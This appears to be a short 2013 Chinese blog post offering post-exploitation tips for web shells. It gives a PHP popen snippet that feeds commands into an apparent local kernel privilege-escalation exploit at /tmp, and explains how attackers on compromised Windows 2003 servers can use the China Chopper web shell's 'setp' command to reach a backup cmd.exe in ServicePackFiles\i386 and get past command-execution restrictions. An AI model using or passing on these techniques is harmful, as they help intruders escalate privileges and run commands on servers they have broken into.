MENU

asp和php执行命令小技巧

December 6, 2013 • 技术随笔

PHP 非交互式 执行交互式命令


shell可以用except来执行交互命令

python 也有pexcept模块

perl也有except模块

但是默认不安装

咱们还是用牛逼的php吧

c0de:

<?php
$sucommand = "/tmp/2.6.18-2011";
$fp = popen($sucommand ,"w");
@fputs($fp,"echo 22222 > /tmp/sbsbsbsbsbsb11111");
@pclose($fp);
?>



2313567sjg784048hcgrf2.png


2313543dhz43ue4jcj03ge.png



ASP Shell执行命令小技巧:

在Windows 2003下ASP默认没有权限执行c:\windows\system32\cmd.exe,看到很多小伙伴们在肉鸡上传了N个cmd.exe,我想大声告诉你,cmd.exe一直在系统里,2003系统只要单独安装过Service Pack服务包,会在C:\WINDOWS\ServicePackFiles\i386目录将服务包替换的原系统文件备份到此目录,
以菜刀为例
setp %windir%\ServicePackFiles\i386\cmd.exe

setp是菜刀设置cmd.exe的路径命令,%windir%是c:\windows内置系统路径环境变量名,当然如果你的Windows装在D盘,%windir%则代表D:\windows

152448levqelcer4epepnq.png

默认在以菜刀为例,设置默认调用系统变量路径

 152449drln1n1rhijtj8ln.png


以上内容来自法克。

Archives QR Code
QR Code for this page
Tipping QR Code